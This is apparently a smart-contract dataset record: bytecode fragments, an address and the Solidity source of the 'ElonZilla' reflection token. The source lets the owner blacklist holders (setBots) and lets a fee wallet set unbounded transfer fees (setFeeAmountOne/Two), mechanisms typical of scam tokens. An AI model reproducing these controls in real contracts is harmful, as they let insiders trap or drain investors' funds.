026a57600080fd5b506101a3600160a060020a036004351660243561050e565b34801561028e57600080fd5b506101cc600160a060020a0360043516610532565b3480156102af57600080fd5b5061024761054d565b3480156102c457600080fd5b506102cd6105ca565b60408051600160a060020a039092168252519081900360200190f35b3480156102f557600080fd5b5061010a6105d9565b34801561030a57600080fd5b506101a3600160a060020a0360043516602435610634565b34801561032e57600080fd5b506101a3600160a060020a0360043516602435610658565b34801561035257600080fd5b506101cc600160a060020a036004358116906024351661067c565b34801561037957600080fd5b50610247600160a060020a03600435166106a7565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104145780601f106103e957610100808354040283529160200191610414565b820191906000526020600020905b8154815290600101906020018083116103f757829003601f168201915b505050505081565b60035460009060a060020a900460ff161561043657600080fd5b610440838361073c565b9392505050565b60005481565b60035460009060a060020a900460ff161561046757600080fd5b6104728484846107a2565b949350505050565b60075481565b60065481565b600354600160a060020a0316331461049d57600080fd5b60035460a060020a900460ff1615156104b557600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561052857600080fd5b610440838361091b565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a0316331461056457600080fd5b60035460a060020a900460ff161561057b57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104145780601f106103e957610100808354040283529160200191610414565b60035460009060a060020a900460ff161561064e57600080fd5b6104408383610a0b565b60035460009060a060020a900460ff161561067257600080fd5b6104408383610aee565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146106be57600080fd5b600160a060020a03811615156106d357600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156107b957600080fd5b600160a060020a0384166000908152600160205260409020548211156107de57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561080e57600080fd5b600160a060020a038416600090815260016020526040902054610837908363ffffffff610b8716565b600160a060020a03808616600090815260016020526040808220939093559085168152205461086c908363ffffffff610b9916565b600160a060020a0380851660009081526001602090815260408083209490945591871681526002825282812033825290915220546108b0908363ffffffff610b8716565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561097057336000908152600260209081526040808320600160a060020a03881684529091528120556109a5565b610980818463ffffffff610b8716565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610a2257600080fd5b33600090815260016020526040902054821115610a3e57600080fd5b33600090815260016020526040902054610a5e908363ffffffff610b8716565b3360009081526001602052604080822092909255600160a060020a03851681522054610a90908363ffffffff610b9916565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610b22908363ffffffff610b9916565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600082821115610b9357fe5b50900390565b60008282018381101561044057fe00a165627a7a72305820a11b6233ecd12d56d8629f0e6f784b3cb214e25f2418b45901f1b13314f872b80029
{"success": true, "error": null, "results": {}}
273
0x7aD289339E6e24dD84fCe4dcC7C1981876216DD4
/** *Submitted for verification at Etherscan.io on 2021-10-30 */ /** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Elonzilla is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 5; uint256 private _feeAddr2 = 5; address payable private _feeAddrWallet1 = payable(0xC654A505E3d38932cAb03CCc14418044A078F8A4); address payable private _feeAddrWallet2 = payable(0xC654A505E3d38932cAb03CCc14418044A078F8A4); string private constant _name = "ElonZilla"; string private constant _symbol = "ELONZILLA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600981526020017f456c6f6e5a696c6c610000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f454c4f4e5a494c4c410000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b9050600080